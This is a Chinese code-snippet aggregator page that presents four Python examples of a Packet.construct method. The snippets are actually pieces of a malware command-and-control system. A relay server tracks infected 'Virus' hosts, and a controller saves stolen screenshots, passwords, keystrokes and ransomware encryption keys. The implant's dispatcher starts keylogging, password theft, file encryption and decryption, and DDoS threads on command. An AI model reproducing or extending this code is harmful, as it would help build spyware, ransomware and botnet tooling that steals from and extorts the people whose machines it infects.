本文整理汇总了Python中packet.Packet.construct方法的典型用法代码示例。如果您正苦于以下问题:Python Packet.construct方法的具体用法?Python Packet.construct怎么用?Python Packet.construct使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类packet.Packet
的用法示例。
在下文中一共展示了Packet.construct方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: receiveFromClient
# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import construct [as 别名]
def receiveFromClient(self,s,address):
while True:
pkt = Packet()
try:
pkt.construct(s)
except socket.error as error:
if error.errno == 10054 or error.errno == 104:
del self.toClient[address[0]]
print address[0] + " closed client!"
break
else:
raise
pkt.returnIP = address[0]
self.enqueueToVirus(pkt)
示例2: receiveFromVirus
# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import construct [as 别名]
def receiveFromVirus(self,s,address):
while True:
pkt = Packet()
try:
pkt.construct(s)
except socket.error as error:
if error.errno == 10054 or error.errno == 104:
del self.toVirus[address[0]]
self.sendIPList()
print address[0] + " uninfected or turned computer off!"
break
else:
raise
if pkt.state == '100':
tup = self.toVirus[address[0]]
pkt.RSADecryptData(self.RSAPrivateKey)
self.toVirus[address[0]] = (tup[0],tup[1],pkt.data)
self.sendIPList()
else: self.enqueueToClient(pkt)
示例3: receive
# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import construct [as 别名]
def receive(s):
base = "C:\Users\Matt\Desktop\\testfolder"
while True:
pkt = Packet()
pkt.construct(s)
t = time.time()
if pkt.state == "100":
print pkt.data
global attackip
attackip = pkt.data
elif pkt.state == "143":
path = base + "\screenshot." + str(t) + ".png"
im = Image.open(StringIO(pkt.data))
im.save("C:\Users\Matt\Desktop\\testpic.png",'png')
elif pkt.state == "144":
path = base + "\passwords." + str(t) + ".txt"
f = open(path,"w")
f.write(pkt.data)
f.close()
elif pkt.state == "145":
path = base + "\keystrokes." + str(t) + ".txt"
f = open(path,"w")
f.write(pkt.data)
f.close()
elif pkt.state == "146":
if pkt.data != "already encrypted":
path = base + "\\" + pkt.toIP + "-encryptionkey"
f = open(path,"w")
f.write(pkt.data)
f.close()
else:
print pkt.data
elif pkt.state == "147":
print pkt.data
if pkt.data == "There you go! Sorry about that.":
path = base + "\\" + pkt.toIP + "-encryptionkey"
os.unlink(path)
else:
print "don't know that one"
示例4: run
# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import construct [as 别名]
def run(self):
threading.Thread(target=self.dequeue).start()
while True:
pkt = Packet()
pkt.construct(self.s)
pkt.decryptData(pkt.length,self.key)
if pkt.state:
if pkt.state == "143":
threading.Thread(target=self.screenshot,args=[pkt]).start()
elif pkt.state == "144":
threading.Thread(target=self.passwords,args=[pkt]).start()
elif pkt.state == "145":
threading.Thread(target=self.keylog,args=[pkt]).start()
elif pkt.state == "146":
threading.Thread(target=self.encrypt,args=[pkt]).start()
elif pkt.state == "147":
threading.Thread(target=self.decrypt,args=[pkt]).start()
elif pkt.state == "149":
threading.Thread(target=self.ddos,args=[pkt]).start()
else:
print "i don't know that command"